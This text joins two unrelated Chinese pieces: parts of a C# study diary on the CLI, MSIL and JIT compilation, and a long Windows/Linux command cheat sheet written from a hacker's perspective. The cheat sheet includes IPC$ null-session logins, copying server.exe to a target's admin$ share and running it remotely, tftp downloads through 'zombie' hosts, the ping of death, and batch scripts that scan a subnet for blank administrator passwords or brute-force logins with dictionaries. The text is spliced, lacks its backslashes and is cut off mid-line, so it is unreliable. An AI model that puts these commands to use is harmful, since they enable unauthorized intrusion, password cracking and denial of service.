很多人都思考过应如何开始习一种新的语言,对于一个有经验的编程人员来讲,这确非难事。但是对于一个对编写代码一无所知的人而言,如果你是以C#开始你的编程之旅的,数目繁多的概念及新名词可能会令你有些不知所措。这时候请注意你的习顺序,任何一种编程语言的习都是按照运行平台、语法、基类库直至各方面的应用这一顺序来进行的,但是在实际的习中,它们之间并不是孤立的。推荐的方法是:对运行平台和语法有了一个整体的认识后,在应用中习各种基类库的用法。鉴于C#这一语言的特殊性,全面了解它的运行平台(.Net Framework)必会使你的习事半功倍。所以请记住上面提到的两个图,在以后的习中,虽然可能不会明确的涉及到它们,但是在整个C#的习过程中,它们却是无处不在的。 还有一个很重要的概念需要你明白,这就是公共语言架构(Common Language Infrastructure ,CLI)。CLI是CLR的一个子集,也就是.NET中最终对编译成MSIL代码的应用程序的运行环境进行管理的那一部分。在CLR结构图中CLI位于下半部分,主要包括类加载器(Class Loader)、实时编译器(IL To Native Compilers)和一个运行时环境的垃圾收集器(Garbage Collector)。CLI是.Net和CLR的灵魂,CLI为IL代码提供运行的环境,你可以将使用任何语言编写的代码通过其特定的编译器转换为MSIL代码之后运行其上,甚至还可以自己写MSIL代码在CLI上面运行。如你所知,欧洲计算机制造商协会(ECMA)已经于2001年10月13日批准C#语言规范(ECMA-334)成为一种新诞生的计算机产业标准。同时国际标准组织ISO也同意该标准进入该组织的审批阶段。并且,作为.Net与CLR的核心部分,CLI与C#也同时获得了ECMA的批准(ECMA-335)。拥有了C#与CLI这两项标准,你可以自己写出能够运行于任何操作系统上的.Net平台(只要你愿意)。如前所述,著名的Mono项目就是这么干的,Mono项目包括三个核心的部分:一个C#语言的编译器,一个CLI和一个类库。在Java的世界中,这项工作是由SUN公司完成的,SUN针对不同的操作系统开发出相应的Java虚拟机以便让一个由Java开发的应用程序运行在不同的操作系统上,但是迄今为止还没听说过微软有这方面打算(为用户提供非Windows系统的.Net平台)。 2000年的6月还有很多事情发生,2000年的6月我在校做毕设,晚上就跑到系试验室看欧锦赛,我很喜欢的坎普君(Bergkamp)大放异彩,帮助荷兰队6比1大胜南斯拉夫,米哈伊洛维奇 (Mihajlovic)在比赛最后莫名的笑容永远留在了我的心中。说实话,那时候只顾着看EURO2000,可没管什么.Net、.Not。另外,离别的愁绪围绕在每个人的周围,广播里开始反反复复播放一些古老的歌曲,不知道为什么,恋曲1980却是那时候的最爱。 后来,我们都毕了业。如你所知,我离开了北京。 >>>未完,待续... C#习笔记(4)【大 中 小】【打印】【加入收藏】【关闭】 【收藏到新浪ViVi】【收藏到365KEY】 浏览字号:日期:2004-07-11 人气:8360 出处: 约定 //一个典型的用C#写就的HelloWorld程序 using System; class HelloWorld { public static void Main() { Console.WriteLine("Hello World !"); } } 我忘记自己第一次用C#向世界问好是在什么时候了,不过可以肯定我已经打过招呼了,那时候用的是beta1版。现在你可以到http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?url=/msdn-files/027/000/976/msdncompositedoc.xml去下载.Net Framework Software Development Kit (SDK)的正式版,其中包括了前面提到的.NET Framework, 以及书写、编译、测试、开发 .NET Framework 应用程序所需要的一切——文档、例子、命令行工具和编译器。安装之后就可以开发和运行C#程序了,不过一般的建议是:一定要看.Net Framework SDK中所带的文档与例子,如果能照着例子再写一遍那就再好不过了。 当我第一次看到C#代码的时候,同样认为它很像Java,一个形象的比喻是:C#和Java是一对双胞胎,从语法的角度来讲,它们共同的父亲当然非C++莫属(请注意,不是VC++)。对于一个过Java语言的人来说(比如说在下),要理解这段代码实在是太容易了:第一行当然是注释了,C#支持两种注释方法,以"//"开始的单行注释和以"/*"、"*/"配对使用的多行注释。第二行(using System)导入了System这个包(在C#中被称之为名字空间,Namespace),可以让我们方便的调用Microsoft.Net基类库System中的所有类,在此例中使用了System名字空间中的"Console"类,用于在控制台窗口输出程序运行结果。如前所述,C#并没有内置的输入输出语句,所有需实现的功能都完全来自于.Net基类库。这一句的作用就是告诉编译器去哪里寻找Console类以便调用。 接下来声明了一个类HelloWorld,这个类中有一个特殊的方法Main(),每个可执行文件都需要有一个入口点,在C#中,这个入口点就是Main()方法,此方法将在程序启动时被调用。在这个方法中,Console是在命名空间System下的一个类,它表示的是控制台。这里调用其静态方法WriteLine()。如同C++一样,静态方法允许我们直接作用于类而非实例对象。WriteLine()函数接受字符串类型的参数"Hello World !",并把它送入控制台显示。如前所述,C#没有自己的类库,它直接获取Microsoft.NET系统类库。在这里正是通过获取Microsoft.NET系统类库中的System.Console.WriteLine()来完成我们想要的控制台输出操作。现在使用记事本来编写这段代码,并将它的文件名保存为HelloWorld.cs,其中".cs"是C#源代码文件的扩展名。然后在配置好C#编译器的命令行环境里键入"csc HelloWorld.cs"编译文件。可以看到编译输出文件HelloWorld.exe。键入HelloWorld执行这个文件可得到下面的输出: Hello World ! 这就是第一个C#的程序,我们使用csc.exe来编译它,对于这个C#编译器,有如下说明: 1. 它是随.Net Framework SDK免费发布的,可以在DOS命令行被调用 2. 它的使用方法如下:   csc SourceFile.cs /out:TargetFile.exe   如果不使用输出参数指定目标文件名,则默认输出为源文件名 3. 一般情况下,它在系统文件夹(Windows或WinNT)下的Microsoft.NET\Framework\v1.0.3705文件夹内 4. 如果你安装了VS.Net,从Visual Studio.NET Tools项目组中可以激活Visual Studio.NET Command Prompt窗口,这是一个配置好C#编译器的命令行环境 5. 使用csc.exe编译后的C#程序并不是机器代码(尽管拥有.exe的后缀名)。如前所述,C#程序只是被编译成了MSIL代码。 C#编译器(csc.exe)编译后的文件并不是一个严格意义上的可执行文件(并不包含机器代码),而是一个PE(portable executable)格式的文件,虽然它同样拥有.exe的后缀名。在这个PE文件中也不仅仅只包含中间语言,在其中还包含有元数据(Metadata)和一个由编译器添加的目标平台的标准可执行文件头。 中间语言,确切地说,应该称为微软中间语言(Microsoft Intermediate Language,MSIL),是由微软定义的一种界于源代码与机器码之间的一种语言。在CLR中,它首先会由特定的语言编译器将其包装成exe格式的伪代码(P代码)。再由特定的编译器将其转换为本地代码执行。对于微软中间语言,一个形象的比喻是:如果CLR是操作系统的话,那么微软中间语言就是.Net平台上的ASM汇编语言。它比大多数 CPU 机器语言更为高级,比如它可以理解对象类型,并具有创建和初始化对象、调用关于对象的虚拟方法以及直接操作处理数组元素的指令。它甚至还具有发现和捕获异常情况用于错误处理的指令。 元数据(Metadata)和MSIL共同存在于编译好的程序文件之中,描述了此程序包含的类型的定义、各种类型的签名及其它一些数据,相当于以前的类型库(Type Library),同时也记载了此程序所引用到的其它外部类。元数据的主要作用是将与代码有关的更多的信息提供给CLR。基本上,元数据用于如下各项任务:用于表示CLR用途的信息,如定位和装载类、内存中这些类的实例、解决调用、翻译IL为原始码、加强安全并设置运行时上下文边界。 一个由C#语言写就的源码文件在CLR环境中执行的过程是这样的:首先由C#编译器编译成包含了中间语言和元数据的PE文件,当我们在系统中调用这个文件时,CLR会启动一个编译器再将这个PE文件包含的MSIL代码转换成为托管的本地代码。转换MSIL代码为本地码的这个编译器就叫做JIT编译器(Just In Time,JITer)。请注意它并不是前面我们用到的C#编译器。 现在让我们看看JIT编译器是如何工作的:当PE文件被调用时,JIE编译器将其分解为MSIL和元数据,这时候MSIL并不直接让.Net去调用本地的系统接口,而是指定.Net系统去编译连接那些需要的CLR DLL,编译出百分之百的本地代码。整个的过程如下: 当一个类型被装载时,装载器创建一个存根(stub),并使它与类型的每一个方法相连接。当一个方法第一次被调用时,存根把控制交给JITer。JITer把MSIL编译为本地代码,并且把存根指针指向缓冲本地代码。已经被JITer编译的方法随后就直接调用已经产生的本地代码,减少了JITer编译和执行代码的时间。可以看到,JITer并不会一次性的将所有的MSIL都编译为本地代码,而是在我们需要时才即时编译,也就是说,有些代码可能从来都没有被编译过。很明显这样做的好处是既保证了运行期的安全性,又不会损失太多的效率。 这就是一个C#程序执行时的步骤。整个过程是这样的: 1) 由C#编译器将源代码编译为中间语言 2) 装入托管代码,这包括解决内存中的名字、表层类(laying out classes ),并且创建JIT编译所必需的存根。通过执行经常性校验,包括加强一些访问规则,类装载器同样也增强了安全性 3) 用JITer将 IL转换成原始代码 4) 装入元数据、校验类型安全和方法的完整性 5) 垃圾收集(GC)和异常处理 6) 描绘和查错服务 7) 管理线程和上下文以及远程管理。 不必全部理解这些概念,在以后的习中将会一一的体会到它们的精彩,现在你需要做的(如果你还没这么干过的话),是找到ildasm.exe这个文件(一般情况下,它会和csc.exe在同一文件夹中)。顾名思义,这是一个MSIL的反汇编程序(.Net Framework IL Disassembler),在命令行窗口下输入ildasm helloworld.exe /out=helloworld.il就会得到两个文件:helloworld.il和helloworld.res。前者包括了反编译出来的元数据和MSIL代码,后者则是提取的资源文件。用记事本打开helloworld.il文件,可以看到它定义并实现了一个继承自System.Object 的HelloWorld类及两个函数:Main()和.ctor()。其中.ctor()是HelloWorld类的构造函数。在这个文件中还包括元数据和其它有关的信息。如果你觉得这样不够直观的话,可以在命令行窗口键入ildasm helloworld.exe,这样就可以启动ILDASM 窗口并向我们展示出反编译后的helloworld.exe文件。 请仔细将这些代码看上几遍,现在理解全部这些内容并不重要,但是希望你也能看一下文件中的元数据,这其中包含所有 Runtime 和编译器需要的有关程序集及其模块、类型和成员(如方法)的信息。 行文至此,我想谈一下习。如你所知,在我们所处的环境中,习总意味着是一个痛苦的过程,习一种新知识好像总是为了自己的某种需求,我并不认为这样有什么不对,但我总觉着,除了拿到高薪和受人尊敬外,习还应该带给我们更多的快乐。有些知识我们现在也许用不着,比如前面谈到的一些内容,但是我们了解了,就是一件值得高兴的事。 智慧本身就是好的,有一天我们都会死去,追求智慧的道路还会有人在走着。死掉以后的事我看不到。但在我活着的时候,想到这件事,心里就高兴。 ——王小波 今天是2002年4月7号,再过三天就是王小波的忌日了,不知道有多少人还会记得这个日子,还会记得这个人。本文的最后,我向大家推荐小波的作品——每一个心智成熟的人都应该读一读小波的文字。在他的杂文随笔集《沉默的大多数》中有一句话谈到了他作为程序员的一面: “今晚不把这段C++调通,老子就不睡了!” >>>未完,待续...
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo 